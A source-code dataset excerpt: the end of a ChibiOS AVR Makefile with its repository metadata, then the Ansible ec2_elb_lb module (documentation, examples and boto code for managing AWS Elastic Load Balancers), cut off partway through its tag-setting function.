$(COFFCONVERT) -O coff-avr $< $(TARGET).cof extcoff: $(TARGET).elf @echo @echo $(MSG_EXTENDED_COFF) $(TARGET).cof $(COFFCONVERT) -O coff-ext-avr $< $(TARGET).cof # Create final output files (.hex, .eep) from ELF output file. %.hex: %.elf @echo @echo $(MSG_FLASH) $@ $(OBJCOPY) -O $(FORMAT) -R .eeprom $< $@ %.bin: %.elf @echo @echo $(MSG_FLASH) $@ $(OBJCOPY) -O binary -R .eeprom $< $@ %.eep: %.elf @echo @echo $(MSG_EEPROM) $@ -$(OBJCOPY) -j .eeprom --set-section-flags=.eeprom="alloc,load" \ --change-section-lma .eeprom=0 --no-change-warnings -O $(FORMAT) $< $@ || exit 0 # Create extended listing file from ELF output file. %.lss: %.elf @echo @echo $(MSG_EXTENDED_LISTING) $@ $(OBJDUMP) -h -S $< > $@ # Create a symbol table from ELF output file. %.sym: %.elf @echo @echo $(MSG_SYMBOL_TABLE) $@ $(NM) -n $< > $@ # Create library from object files. .SECONDARY : $(TARGET).a .PRECIOUS : $(OBJ) %.a: $(OBJ) @echo @echo $(MSG_CREATING_LIBRARY) $@ $(AR) $@ $(OBJ) # Link: create ELF output file from object files. .SECONDARY : $(TARGET).elf .PRECIOUS : $(OBJ) %.elf: $(OBJ) @echo @echo $(MSG_LINKING) $@ $(CC) $(ALL_CFLAGS) $^ --output $@ $(LDFLAGS) # Compile: create object files from C source files. $(OBJDIR)/%.o : %.c @echo @echo $(MSG_COMPILING) $< $(CC) -c $(ALL_CFLAGS) $< -o $@ # Compile: create object files from C++ source files. $(OBJDIR)/%.o : %.cpp @echo @echo $(MSG_COMPILING_CPP) $< $(CC) -c $(ALL_CPPFLAGS) $< -o $@ # Compile: create assembler files from C source files. %.s : %.c $(CC) -S $(ALL_CFLAGS) $< -o $@ # Compile: create assembler files from C++ source files. %.s : %.cpp $(CC) -S $(ALL_CPPFLAGS) $< -o $@ # Assemble: create object files from assembler source files. $(OBJDIR)/%.o : %.S @echo @echo $(MSG_ASSEMBLING) $< $(CC) -c $(ALL_ASFLAGS) $< -o $@ # Create preprocessed source for use in sending a bug report. %.i : %.c $(CC) -E -mmcu=$(MCU) -I. $(CFLAGS) $< -o $@ # Target: clean project. clean: begin clean_list end clean_list : @echo @echo $(MSG_CLEANING) $(REMOVE) $(TARGET).hex $(REMOVE) $(TARGET).bin $(REMOVE) $(TARGET).eep $(REMOVE) $(TARGET).cof $(REMOVE) $(TARGET).elf $(REMOVE) $(TARGET).map $(REMOVE) $(TARGET).sym $(REMOVE) $(TARGET).lss $(REMOVE) $(SRC:%.c=$(OBJDIR)/%.o) $(REMOVE) $(SRC:%.c=$(OBJDIR)/%.lst) $(REMOVE) $(SRC:.c=.s) $(REMOVE) $(SRC:.c=.d) $(REMOVE) $(SRC:.c=.i) $(REMOVEDIR) .dep # Create object files directory $(shell mkdir $(OBJDIR) 2>/dev/null) # Include the dependency files. -include $(shell mkdir .dep 2>/dev/null) $(wildcard .dep/*) # Listing of phony targets. .PHONY : all begin finish end sizebefore sizeafter gccversion \ build elf hex bin eep lss sym coff extcoff \ clean clean_list program debug gdb-config
heiko-r/ChibiOS
testhal/AVR/SPI/Makefile
Makefile
gpl-3.0
18,094
#!/usr/bin/python # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. DOCUMENTATION = """ --- module: ec2_elb_lb description: - Returns information about the load balancer. - Will be marked changed when called only if state is changed. short_description: Creates or destroys Amazon ELB. version_added: "1.5" author: - "Jim Dalton (@jsdalton)" options: state: description: - Create or destroy the ELB choices: ["present", "absent"] required: true name: description: - The name of the ELB required: true listeners: description: - List of ports/protocols for this ELB to listen on (see example) required: false purge_listeners: description: - Purge existing listeners on ELB that are not found in listeners required: false default: true instance_ids: description: - List of instance ids to attach to this ELB required: false default: false version_added: "2.1" purge_instance_ids: description: - Purge existing instance ids on ELB that are not found in instance_ids required: false default: false version_added: "2.1" zones: description: - List of availability zones to enable on this ELB required: false purge_zones: description: - Purge existing availability zones on ELB that are not found in zones required: false default: false security_group_ids: description: - A list of security groups to apply to the elb require: false default: None version_added: "1.6" security_group_names: description: - A list of security group names to apply to the elb require: false default: None version_added: "2.0" health_check: description: - An associative array of health check configuration settings (see example) require: false default: None access_logs: description: - An associative array of access logs configuration settings (see example) require: false default: None version_added: "2.0" subnets: description: - A list of VPC subnets to use when creating ELB. Zones should be empty if using this. required: false default: None aliases: [] version_added: "1.7" purge_subnets: description: - Purge existing subnet on ELB that are not found in subnets required: false default: false version_added: "1.7" scheme: description: - The scheme to use when creating the ELB. For a private VPC-visible ELB use 'internal'. required: false default: 'internet-facing' version_added: "1.7" validate_certs: description: - When set to "no", SSL certificates will not be validated for boto versions >= 2.6.0. required: false default: "yes" choices: ["yes", "no"] aliases: [] version_added: "1.5" connection_draining_timeout: description: - Wait a specified timeout allowing connections to drain before terminating an instance required: false aliases: [] version_added: "1.8" idle_timeout: description: - ELB connections from clients and to servers are timed out after this amount of time required: false version_added: "2.0" cross_az_load_balancing: description: - Distribute load across all configured Availability Zones required: false default: "no" choices: ["yes", "no"] aliases: [] version_added: "1.8" stickiness: description: - An associative array of stickness policy settings. Policy will be applied to all listeners ( see example ) required: false version_added: "2.0" wait: description: - When specified, Ansible will check the status of the load balancer to ensure it has been successfully removed from AWS. required: false default: no choices: ["yes", "no"] version_added: "2.1" wait_timeout: description: - Used in conjunction with wait. Number of seconds to wait for the elb to be terminated. A maximum of 600 seconds (10 minutes) is allowed. required: false default: 60 version_added: "2.1" tags: description: - An associative array of tags. To delete all tags, supply an empty dict. required: false version_added: "2.1" extends_documentation_fragment: - aws - ec2 """ EXAMPLES = """ # Note: None of these examples set aws_access_key, aws_secret_key, or region. # It is assumed that their matching environment variables are set. # Basic provisioning example (non-VPC) - local_action: module: ec2_elb_lb name: "test-please-delete" state: present zones: - us-east-1a - us-east-1d listeners: - protocol: http # options are http, https, ssl, tcp load_balancer_port: 80 instance_port: 80 proxy_protocol: True - protocol: https load_balancer_port: 443 instance_protocol: http # optional, defaults to value of protocol setting instance_port: 80 # ssl certificate required for https or ssl ssl_certificate_id: "arn:aws:iam::123456789012:server-certificate/company/servercerts/ProdServerCert" # Internal ELB example - local_action: module: ec2_elb_lb name: "test-vpc" scheme: internal state: present instance_ids: - i-abcd1234 purge_instance_ids: true subnets: - subnet-abcd1234 - subnet-1a2b3c4d listeners: - protocol: http # options are http, https, ssl, tcp load_balancer_port: 80 instance_port: 80 # Configure a health check and the access logs - local_action: module: ec2_elb_lb name: "test-please-delete" state: present zones: - us-east-1d listeners: - protocol: http load_balancer_port: 80 instance_port: 80 health_check: ping_protocol: http # options are http, https, ssl, tcp ping_port: 80 ping_path: "/index.html" # not required for tcp or ssl response_timeout: 5 # seconds interval: 30 # seconds unhealthy_threshold: 2 healthy_threshold: 10 access_logs: interval: 5 # minutes (defaults to 60) s3_location: "my-bucket" # This value is required if access_logs is set s3_prefix: "logs" # Ensure ELB is gone - local_action: module: ec2_elb_lb name: "test-please-delete" state: absent # Ensure ELB is gone and wait for check (for default timeout) - local_action: module: ec2_elb_lb name: "test-please-delete" state: absent wait: yes # Ensure ELB is gone and wait for check with timeout value - local_action: module: ec2_elb_lb name: "test-please-delete" state: absent wait: yes wait_timeout: 600 # Normally, this module will purge any listeners that exist on the ELB # but aren't specified in the listeners parameter. If purge_listeners is # false it leaves them alone - local_action: module: ec2_elb_lb name: "test-please-delete" state: present zones: - us-east-1a - us-east-1d listeners: - protocol: http load_balancer_port: 80 instance_port: 80 purge_listeners: no # Normally, this module will leave availability zones that are enabled # on the ELB alone. If purge_zones is true, then any extraneous zones # will be removed - local_action: module: ec2_elb_lb name: "test-please-delete" state: present zones: - us-east-1a - us-east-1d listeners: - protocol: http load_balancer_port: 80 instance_port: 80 purge_zones: yes # Creates a ELB and assigns a list of subnets to it. - local_action: module: ec2_elb_lb state: present name: 'New ELB' security_group_ids: 'sg-123456, sg-67890' region: us-west-2 subnets: 'subnet-123456,subnet-67890' purge_subnets: yes listeners: - protocol: http load_balancer_port: 80 instance_port: 80 # Create an ELB with connection draining, increased idle timeout and cross availability # zone load balancing - local_action: module: ec2_elb_lb name: "New ELB" state: present connection_draining_timeout: 60 idle_timeout: 300 cross_az_load_balancing: "yes" region: us-east-1 zones: - us-east-1a - us-east-1d listeners: - protocol: http - load_balancer_port: 80 - instance_port: 80 # Create an ELB with load balanacer stickiness enabled - local_action: module: ec2_elb_lb name: "New ELB" state: present region: us-east-1 zones: - us-east-1a - us-east-1d listeners: - protocol: http - load_balancer_port: 80 - instance_port: 80 stickiness: type: loadbalancer enabled: yes expiration: 300 # Create an ELB with application stickiness enabled - local_action: module: ec2_elb_lb name: "New ELB" state: present region: us-east-1 zones: - us-east-1a - us-east-1d listeners: - protocol: http - load_balancer_port: 80 - instance_port: 80 stickiness: type: application enabled: yes cookie: SESSIONID # Create an ELB and add tags - local_action: module: ec2_elb_lb name: "New ELB" state: present region: us-east-1 zones: - us-east-1a - us-east-1d listeners: - protocol: http - load_balancer_port: 80 - instance_port: 80 tags: Name: "New ELB" stack: "production" client: "Bob" # Delete all tags from an ELB - local_action: module: ec2_elb_lb name: "New ELB" state: present region: us-east-1 zones: - us-east-1a - us-east-1d listeners: - protocol: http - load_balancer_port: 80 - instance_port: 80 tags: {} """ try: import boto import boto.ec2.elb import boto.ec2.elb.attributes from boto.ec2.elb.healthcheck import HealthCheck from boto.ec2.tag import Tag from boto.regioninfo import RegionInfo HAS_BOTO = True except ImportError: HAS_BOTO = False import time import random def _throttleable_operation(max_retries): def _operation_wrapper(op): def _do_op(*args, **kwargs): retry = 0 while True: try: return op(*args, **kwargs) except boto.exception.BotoServerError as e: if retry < max_retries and e.code in \ ("Throttling", "RequestLimitExceeded"): retry = retry + 1 time.sleep(min(random.random() * (2 ** retry), 300)) continue else: raise return _do_op return _operation_wrapper _THROTTLING_RETRIES = 5 class ElbManager(object): """Handles ELB creation and destruction""" def __init__(self, module, name, listeners=None, purge_listeners=None, zones=None, purge_zones=None, security_group_ids=None, health_check=None, subnets=None, purge_subnets=None, scheme="internet-facing", connection_draining_timeout=None, idle_timeout=None, cross_az_load_balancing=None, access_logs=None, stickiness=None, wait=None, wait_timeout=None, tags=None, region=None, instance_ids=None, purge_instance_ids=None, **aws_connect_params): self.module = module self.name = name self.listeners = listeners self.purge_listeners = purge_listeners self.instance_ids = instance_ids self.purge_instance_ids = purge_instance_ids self.zones = zones self.purge_zones = purge_zones self.security_group_ids = security_group_ids self.health_check = health_check self.subnets = subnets self.purge_subnets = purge_subnets self.scheme = scheme self.connection_draining_timeout = connection_draining_timeout self.idle_timeout = idle_timeout self.cross_az_load_balancing = cross_az_load_balancing self.access_logs = access_logs self.stickiness = stickiness self.wait = wait self.wait_timeout = wait_timeout self.tags = tags self.aws_connect_params = aws_connect_params self.region = region self.changed = False self.status = 'gone' self.elb_conn = self._get_elb_connection() self.elb = self._get_elb() self.ec2_conn = self._get_ec2_connection() @_throttleable_operation(_THROTTLING_RETRIES) def ensure_ok(self): """Create the ELB""" if not self.elb: # Zones and listeners will be added at creation self._create_elb() else: self._set_zones() self._set_security_groups() self._set_elb_listeners() self._set_subnets() self._set_health_check() # boto has introduced support for some ELB attributes in # different versions, so we check first before trying to # set them to avoid errors if self._check_attribute_support('connection_draining'): self._set_connection_draining_timeout() if self._check_attribute_support('connecting_settings'): self._set_idle_timeout() if self._check_attribute_support('cross_zone_load_balancing'): self._set_cross_az_load_balancing() if self._check_attribute_support('access_log'): self._set_access_log() # add sitcky options self.select_stickiness_policy() # ensure backend server policies are correct self._set_backend_policies() # set/remove instance ids self._set_instance_ids() self._set_tags() def ensure_gone(self): """Destroy the ELB""" if self.elb: self._delete_elb() if self.wait: elb_removed = self._wait_for_elb_removed() # Unfortunately even though the ELB itself is removed quickly # the interfaces take longer so reliant security groups cannot # be deleted until the interface has registered as removed. elb_interface_removed = self._wait_for_elb_interface_removed() if not (elb_removed and elb_interface_removed): self.module.fail_json(msg='Timed out waiting for removal of load balancer.') def get_info(self): try: check_elb = self.elb_conn.get_all_load_balancers(self.name)[0] except: check_elb = None if not check_elb: info = { 'name': self.name, 'status': self.status, 'region': self.region } else: try: lb_cookie_policy = check_elb.policies.lb_cookie_stickiness_policies[0].__dict__['policy_name'] except: lb_cookie_policy = None try: app_cookie_policy = check_elb.policies.app_cookie_stickiness_policies[0].__dict__['policy_name'] except: app_cookie_policy = None info = { 'name': check_elb.name, 'dns_name': check_elb.dns_name, 'zones': check_elb.availability_zones, 'security_group_ids': check_elb.security_groups, 'status': self.status, 'subnets': self.subnets, 'scheme': check_elb.scheme, 'hosted_zone_name': check_elb.canonical_hosted_zone_name, 'hosted_zone_id': check_elb.canonical_hosted_zone_name_id, 'lb_cookie_policy': lb_cookie_policy, 'app_cookie_policy': app_cookie_policy, 'proxy_policy': self._get_proxy_protocol_policy(), 'backends': self._get_backend_policies(), 'instances': [instance.id for instance in check_elb.instances], 'out_of_service_count': 0, 'in_service_count': 0, 'unknown_instance_state_count': 0, 'region': self.region } # status of instances behind the ELB if info['instances']: info['instance_health'] = [ dict( instance_id = instance_state.instance_id, reason_code = instance_state.reason_code, state = instance_state.state ) for instance_state in self.elb_conn.describe_instance_health(self.name)] else: info['instance_health'] = [] # instance state counts: InService or OutOfService if info['instance_health']: for instance_state in info['instance_health']: if instance_state['state'] == "InService": info['in_service_count'] += 1 elif instance_state['state'] == "OutOfService": info['out_of_service_count'] += 1 else: info['unknown_instance_state_count'] += 1 if check_elb.health_check: info['health_check'] = { 'target': check_elb.health_check.target, 'interval': check_elb.health_check.interval, 'timeout': check_elb.health_check.timeout, 'healthy_threshold': check_elb.health_check.healthy_threshold, 'unhealthy_threshold': check_elb.health_check.unhealthy_threshold, } if check_elb.listeners: info['listeners'] = [self._api_listener_as_tuple(l) for l in check_elb.listeners] elif self.status == 'created': # When creating a new ELB, listeners don't show in the # immediately returned result, so just include the # ones that were added info['listeners'] = [self._listener_as_tuple(l) for l in self.listeners] else: info['listeners'] = [] if self._check_attribute_support('connection_draining'): info['connection_draining_timeout'] = self.elb_conn.get_lb_attribute(self.name, 'ConnectionDraining').timeout if self._check_attribute_support('connecting_settings'): info['idle_timeout'] = self.elb_conn.get_lb_attribute(self.name, 'ConnectingSettings').idle_timeout if self._check_attribute_support('cross_zone_load_balancing'): is_cross_az_lb_enabled = self.elb_conn.get_lb_attribute(self.name, 'CrossZoneLoadBalancing') if is_cross_az_lb_enabled: info['cross_az_load_balancing'] = 'yes' else: info['cross_az_load_balancing'] = 'no' # return stickiness info? info['tags'] = self.tags return info @_throttleable_operation(_THROTTLING_RETRIES) def _wait_for_elb_removed(self): polling_increment_secs = 15 max_retries = (self.wait_timeout / polling_increment_secs) status_achieved = False for x in range(0, max_retries): try: result = self.elb_conn.get_all_lb_attributes(self.name) except (boto.exception.BotoServerError, StandardError) as e: if "LoadBalancerNotFound" in e.code: status_achieved = True break else: time.sleep(polling_increment_secs) return status_achieved @_throttleable_operation(_THROTTLING_RETRIES) def _wait_for_elb_interface_removed(self): polling_increment_secs = 15 max_retries = (self.wait_timeout / polling_increment_secs) status_achieved = False elb_interfaces = self.ec2_conn.get_all_network_interfaces( filters={'attachment.instance-owner-id': 'amazon-elb', 'description': 'ELB {0}'.format(self.name) }) for x in range(0, max_retries): for interface in elb_interfaces: try: result = self.ec2_conn.get_all_network_interfaces(interface.id) if result == []: status_achieved = True break else: time.sleep(polling_increment_secs) except (boto.exception.BotoServerError, StandardError) as e: if 'InvalidNetworkInterfaceID' in e.code: status_achieved = True break else: self.module.fail_json(msg=str(e)) return status_achieved @_throttleable_operation(_THROTTLING_RETRIES) def _get_elb(self): elbs = self.elb_conn.get_all_load_balancers() for elb in elbs: if self.name == elb.name: self.status = 'ok' return elb def _get_elb_connection(self): try: return connect_to_aws(boto.ec2.elb, self.region, **self.aws_connect_params) except (boto.exception.NoAuthHandlerFound, AnsibleAWSError) as e: self.module.fail_json(msg=str(e)) def _get_ec2_connection(self): try: return connect_to_aws(boto.ec2, self.region, **self.aws_connect_params) except (boto.exception.NoAuthHandlerFound, StandardError) as e: self.module.fail_json(msg=str(e)) @_throttleable_operation(_THROTTLING_RETRIES) def _delete_elb(self): # True if succeeds, exception raised if not result = self.elb_conn.delete_load_balancer(name=self.name) if result: self.changed = True self.status = 'deleted' def _create_elb(self): listeners = [self._listener_as_tuple(l) for l in self.listeners] self.elb = self.elb_conn.create_load_balancer(name=self.name, zones=self.zones, security_groups=self.security_group_ids, complex_listeners=listeners, subnets=self.subnets, scheme=self.scheme) if self.elb: # HACK: Work around a boto bug in which the listeners attribute is # always set to the listeners argument to create_load_balancer, and # not the complex_listeners # We're not doing a self.elb = self._get_elb here because there # might be eventual consistency issues and it doesn't necessarily # make sense to wait until the ELB gets returned from the EC2 API. # This is necessary in the event we hit the throttling errors and # need to retry ensure_ok # See https://github.com/boto/boto/issues/3526 self.elb.listeners = self.listeners self.changed = True self.status = 'created' def _create_elb_listeners(self, listeners): """Takes a list of listener tuples and creates them""" # True if succeeds, exception raised if not self.changed = self.elb_conn.create_load_balancer_listeners(self.name, complex_listeners=listeners) def _delete_elb_listeners(self, listeners): """Takes a list of listener tuples and deletes them from the elb""" ports = [l[0] for l in listeners] # True if succeeds, exception raised if not self.changed = self.elb_conn.delete_load_balancer_listeners(self.name, ports) def _set_elb_listeners(self): """ Creates listeners specified by self.listeners; overwrites existing listeners on these ports; removes extraneous listeners """ listeners_to_add = [] listeners_to_remove = [] listeners_to_keep = [] # Check for any listeners we need to create or overwrite for listener in self.listeners: listener_as_tuple = self._listener_as_tuple(listener) # First we loop through existing listeners to see if one is # already specified for this port existing_listener_found = None for existing_listener in self.elb.listeners: # Since ELB allows only one listener on each incoming port, a # single match on the incoming port is all we're looking for if existing_listener[0] == int(listener['load_balancer_port']): existing_listener_found = self._api_listener_as_tuple(existing_listener) break if existing_listener_found: # Does it match exactly? if listener_as_tuple != existing_listener_found: # The ports are the same but something else is different, # so we'll remove the existing one and add the new one listeners_to_remove.append(existing_listener_found) listeners_to_add.append(listener_as_tuple) else: # We already have this listener, so we're going to keep it listeners_to_keep.append(existing_listener_found) else: # We didn't find an existing listener, so just add the new one listeners_to_add.append(listener_as_tuple) # Check for any extraneous listeners we need to remove, if desired if self.purge_listeners: for existing_listener in self.elb.listeners: existing_listener_tuple = self._api_listener_as_tuple(existing_listener) if existing_listener_tuple in listeners_to_remove: # Already queued for removal continue if existing_listener_tuple in listeners_to_keep: # Keep this one around continue # Since we're not already removing it and we don't need to keep # it, let's get rid of it listeners_to_remove.append(existing_listener_tuple) if listeners_to_remove: self._delete_elb_listeners(listeners_to_remove) if listeners_to_add: self._create_elb_listeners(listeners_to_add) def _api_listener_as_tuple(self, listener): """Adds ssl_certificate_id to ELB API tuple if present""" base_tuple = listener.get_complex_tuple() if listener.ssl_certificate_id and len(base_tuple) < 5: return base_tuple + (listener.ssl_certificate_id,) return base_tuple def _listener_as_tuple(self, listener): """Formats listener as a 4- or 5-tuples, in the order specified by the ELB API""" # N.B. string manipulations on protocols below (str(), upper()) is to # ensure format matches output from ELB API listener_list = [ int(listener['load_balancer_port']), int(listener['instance_port']), str(listener['protocol'].upper()), ] # Instance protocol is not required by ELB API; it defaults to match # load balancer protocol. We'll mimic that behavior here if 'instance_protocol' in listener: listener_list.append(str(listener['instance_protocol'].upper())) else: listener_list.append(str(listener['protocol'].upper())) if 'ssl_certificate_id' in listener: listener_list.append(str(listener['ssl_certificate_id'])) return tuple(listener_list) def _enable_zones(self, zones): try: self.elb.enable_zones(zones) except boto.exception.BotoServerError as e: if "Invalid Availability Zone" in e.error_message: self.module.fail_json(msg=e.error_message) else: self.module.fail_json(msg="an unknown server error occurred, please try again later") self.changed = True def _disable_zones(self, zones): try: self.elb.disable_zones(zones) except boto.exception.BotoServerError as e: if "Invalid Availability Zone" in e.error_message: self.module.fail_json(msg=e.error_message) else: self.module.fail_json(msg="an unknown server error occurred, please try again later") self.changed = True def _attach_subnets(self, subnets): self.elb_conn.attach_lb_to_subnets(self.name, subnets) self.changed = True def _detach_subnets(self, subnets): self.elb_conn.detach_lb_from_subnets(self.name, subnets) self.changed = True def _set_subnets(self): """Determine which subnets need to be attached or detached on the ELB""" if self.subnets: if self.purge_subnets: subnets_to_detach = list(set(self.elb.subnets) - set(self.subnets)) subnets_to_attach = list(set(self.subnets) - set(self.elb.subnets)) else: subnets_to_detach = None subnets_to_attach = list(set(self.subnets) - set(self.elb.subnets)) if subnets_to_attach: self._attach_subnets(subnets_to_attach) if subnets_to_detach: self._detach_subnets(subnets_to_detach) def _set_zones(self): """Determine which zones need to be enabled or disabled on the ELB""" if self.zones: if self.purge_zones: zones_to_disable = list(set(self.elb.availability_zones) - set(self.zones)) zones_to_enable = list(set(self.zones) - set(self.elb.availability_zones)) else: zones_to_disable = None zones_to_enable = list(set(self.zones) - set(self.elb.availability_zones)) if zones_to_enable: self._enable_zones(zones_to_enable) # N.B. This must come second, in case it would have removed all zones if zones_to_disable: self._disable_zones(zones_to_disable) def _set_security_groups(self): if self.security_group_ids != None and set(self.elb.security_groups) != set(self.security_group_ids): self.elb_conn.apply_security_groups_to_lb(self.name, self.security_group_ids) self.changed = True def _set_health_check(self): """Set health check values on ELB as needed""" if self.health_check: # This just makes it easier to compare each of the attributes # and look for changes. Keys are attributes of the current # health_check; values are desired values of new health_check health_check_config = { "target": self._get_health_check_target(), "timeout": self.health_check['response_timeout'], "interval": self.health_check['interval'], "unhealthy_threshold": self.health_check['unhealthy_threshold'], "healthy_threshold": self.health_check['healthy_threshold'], } update_health_check = False # The health_check attribute is *not* set on newly created # ELBs! So we have to create our own. if not self.elb.health_check: self.elb.health_check = HealthCheck() for attr, desired_value in health_check_config.iteritems(): if getattr(self.elb.health_check, attr) != desired_value: setattr(self.elb.health_check, attr, desired_value) update_health_check = True if update_health_check: self.elb.configure_health_check(self.elb.health_check) self.changed = True def _check_attribute_support(self, attr): return hasattr(boto.ec2.elb.attributes.LbAttributes(), attr) def _set_cross_az_load_balancing(self): attributes = self.elb.get_attributes() if self.cross_az_load_balancing: if not attributes.cross_zone_load_balancing.enabled: self.changed = True attributes.cross_zone_load_balancing.enabled = True else: if attributes.cross_zone_load_balancing.enabled: self.changed = True attributes.cross_zone_load_balancing.enabled = False self.elb_conn.modify_lb_attribute(self.name, 'CrossZoneLoadBalancing', attributes.cross_zone_load_balancing.enabled) def _set_access_log(self): attributes = self.elb.get_attributes() if self.access_logs: if 's3_location' not in self.access_logs: self.module.fail_json(msg='s3_location information required') access_logs_config = { "enabled": True, "s3_bucket_name": self.access_logs['s3_location'], "s3_bucket_prefix": self.access_logs.get('s3_prefix', ''), "emit_interval": self.access_logs.get('interval', 60), } update_access_logs_config = False for attr, desired_value in access_logs_config.iteritems(): if getattr(attributes.access_log, attr) != desired_value: setattr(attributes.access_log, attr, desired_value) update_access_logs_config = True if update_access_logs_config: self.elb_conn.modify_lb_attribute(self.name, 'AccessLog', attributes.access_log) self.changed = True elif attributes.access_log.enabled: attributes.access_log.enabled = False self.changed = True self.elb_conn.modify_lb_attribute(self.name, 'AccessLog', attributes.access_log) def _set_connection_draining_timeout(self): attributes = self.elb.get_attributes() if self.connection_draining_timeout is not None: if not attributes.connection_draining.enabled or \ attributes.connection_draining.timeout != self.connection_draining_timeout: self.changed = True attributes.connection_draining.enabled = True attributes.connection_draining.timeout = self.connection_draining_timeout self.elb_conn.modify_lb_attribute(self.name, 'ConnectionDraining', attributes.connection_draining) else: if attributes.connection_draining.enabled: self.changed = True attributes.connection_draining.enabled = False self.elb_conn.modify_lb_attribute(self.name, 'ConnectionDraining', attributes.connection_draining) def _set_idle_timeout(self): attributes = self.elb.get_attributes() if self.idle_timeout is not None: if attributes.connecting_settings.idle_timeout != self.idle_timeout: self.changed = True attributes.connecting_settings.idle_timeout = self.idle_timeout self.elb_conn.modify_lb_attribute(self.name, 'ConnectingSettings', attributes.connecting_settings) def _policy_name(self, policy_type): return __file__.split('/')[-1].split('.')[0].replace('_', '-') + '-' + policy_type def _create_policy(self, policy_param, policy_meth, policy): getattr(self.elb_conn, policy_meth )(policy_param, self.elb.name, policy) def _delete_policy(self, elb_name, policy): self.elb_conn.delete_lb_policy(elb_name, policy) def _update_policy(self, policy_param, policy_meth, policy_attr, policy): self._delete_policy(self.elb.name, policy) self._create_policy(policy_param, policy_meth, policy) def _set_listener_policy(self, listeners_dict, policy=[]): for listener_port in listeners_dict: if listeners_dict[listener_port].startswith('HTTP'): self.elb_conn.set_lb_policies_of_listener(self.elb.name, listener_port, policy) def _set_stickiness_policy(self, elb_info, listeners_dict, policy, **policy_attrs): for p in getattr(elb_info.policies, policy_attrs['attr']): if str(p.__dict__['policy_name']) == str(policy[0]): if str(p.__dict__[policy_attrs['dict_key']]) != str(policy_attrs['param_value'] or 0): self._set_listener_policy(listeners_dict) self._update_policy(policy_attrs['param_value'], policy_attrs['method'], policy_attrs['attr'], policy[0]) self.changed = True break else: self._create_policy(policy_attrs['param_value'], policy_attrs['method'], policy[0]) self.changed = True self._set_listener_policy(listeners_dict, policy) def select_stickiness_policy(self): if self.stickiness: if 'cookie' in self.stickiness and 'expiration' in self.stickiness: self.module.fail_json(msg='\'cookie\' and \'expiration\' can not be set at the same time') elb_info = self.elb_conn.get_all_load_balancers(self.elb.name)[0] d = {} for listener in elb_info.listeners: d[listener[0]] = listener[2] listeners_dict = d if self.stickiness['type'] == 'loadbalancer': policy = [] policy_type = 'LBCookieStickinessPolicyType' if self.module.boolean(self.stickiness['enabled']) == True: if 'expiration' not in self.stickiness: self.module.fail_json(msg='expiration must be set when type is loadbalancer') expiration = self.stickiness['expiration'] if self.stickiness['expiration'] is not 0 else None policy_attrs = { 'type': policy_type, 'attr': 'lb_cookie_stickiness_policies', 'method': 'create_lb_cookie_stickiness_policy', 'dict_key': 'cookie_expiration_period', 'param_value': expiration } policy.append(self._policy_name(policy_attrs['type'])) self._set_stickiness_policy(elb_info, listeners_dict, policy, **policy_attrs) elif self.module.boolean(self.stickiness['enabled']) == False: if len(elb_info.policies.lb_cookie_stickiness_policies): if elb_info.policies.lb_cookie_stickiness_policies[0].policy_name == self._policy_name(policy_type): self.changed = True else: self.changed = False self._set_listener_policy(listeners_dict) self._delete_policy(self.elb.name, self._policy_name(policy_type)) elif self.stickiness['type'] == 'application': policy = [] policy_type = 'AppCookieStickinessPolicyType' if self.module.boolean(self.stickiness['enabled']) == True: if 'cookie' not in self.stickiness: self.module.fail_json(msg='cookie must be set when type is application') policy_attrs = { 'type': policy_type, 'attr': 'app_cookie_stickiness_policies', 'method': 'create_app_cookie_stickiness_policy', 'dict_key': 'cookie_name', 'param_value': self.stickiness['cookie'] } policy.append(self._policy_name(policy_attrs['type'])) self._set_stickiness_policy(elb_info, listeners_dict, policy, **policy_attrs) elif self.module.boolean(self.stickiness['enabled']) == False: if len(elb_info.policies.app_cookie_stickiness_policies): if elb_info.policies.app_cookie_stickiness_policies[0].policy_name == self._policy_name(policy_type): self.changed = True self._set_listener_policy(listeners_dict) self._delete_policy(self.elb.name, self._policy_name(policy_type)) else: self._set_listener_policy(listeners_dict) def _get_backend_policies(self): """Get a list of backend policies""" policies = [] if self.elb.backends is not None: for backend in self.elb.backends: if backend.policies is not None: for policy in backend.policies: policies.append(str(backend.instance_port) + ':' + policy.policy_name) return policies def _set_backend_policies(self): """Sets policies for all backends""" ensure_proxy_protocol = False replace = [] backend_policies = self._get_backend_policies() # Find out what needs to be changed for listener in self.listeners: want = False if 'proxy_protocol' in listener and listener['proxy_protocol']: ensure_proxy_protocol = True want = True if str(listener['instance_port']) + ':ProxyProtocol-policy' in backend_policies: if not want: replace.append({'port': listener['instance_port'], 'policies': []}) elif want: replace.append({'port': listener['instance_port'], 'policies': ['ProxyProtocol-policy']}) # enable or disable proxy protocol if ensure_proxy_protocol: self._set_proxy_protocol_policy() # Make the backend policies so for item in replace: self.elb_conn.set_lb_policies_of_backend_server(self.elb.name, item['port'], item['policies']) self.changed = True def _get_proxy_protocol_policy(self): """Find out if the elb has a proxy protocol enabled""" if self.elb.policies is not None and self.elb.policies.other_policies is not None: for policy in self.elb.policies.other_policies: if policy.policy_name == 'ProxyProtocol-policy': return policy.policy_name return None def _set_proxy_protocol_policy(self): """Install a proxy protocol policy if needed""" proxy_policy = self._get_proxy_protocol_policy() if proxy_policy is None: self.elb_conn.create_lb_policy( self.elb.name, 'ProxyProtocol-policy', 'ProxyProtocolPolicyType', {'ProxyProtocol': True} ) self.changed = True # TODO: remove proxy protocol policy if not needed anymore? There is no side effect to leaving it there def _diff_list(self, a, b): """Find the entries in list a that are not in list b""" b = set(b) return [aa for aa in a if aa not in b] def _get_instance_ids(self): """Get the current list of instance ids installed in the elb""" instances = [] if self.elb.instances is not None: for instance in self.elb.instances: instances.append(instance.id) return instances def _set_instance_ids(self): """Register or deregister instances from an lb instance""" assert_instances = self.instance_ids or [] has_instances = self._get_instance_ids() add_instances = self._diff_list(assert_instances, has_instances) if add_instances: self.elb_conn.register_instances(self.elb.name, add_instances) self.changed = True if self.purge_instance_ids: remove_instances = self._diff_list(has_instances, assert_instances) if remove_instances: self.elb_conn.deregister_instances(self.elb.name, remove_instances) self.changed = True def _set_tags(self): """Add/Delete tags""" if self.tags is None: return params = 